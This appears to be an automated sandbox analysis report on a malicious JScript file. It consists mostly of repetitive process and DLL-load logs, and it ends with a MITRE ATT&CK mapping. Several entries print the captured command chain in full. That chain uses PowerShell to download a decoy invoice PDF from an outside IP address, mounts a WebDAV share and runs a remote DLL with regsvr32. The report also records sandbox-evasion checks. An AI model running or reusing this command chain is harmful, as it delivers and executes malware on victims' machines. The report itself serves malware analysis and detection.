Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8785.js.csv");ITextStream.WriteLine(" entry:7815 f:uqnoulx");ITextStream.WriteLine(" exec:2 f:uqnoulx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3547			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5616			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7084	Thread sleep count: 3547 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1868	Thread sleep count: 5616 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7156	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 180	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6480	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1164	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3652	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7208	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2123825521.00000261F7826000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWv
Source: net.exe, 00000007.00000002.2123647333.00000261F77C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.2123825521.00000261F7826000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3359017383.000001FB3982C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3359056625.000001FB39859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3357646499.000001FB3402B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
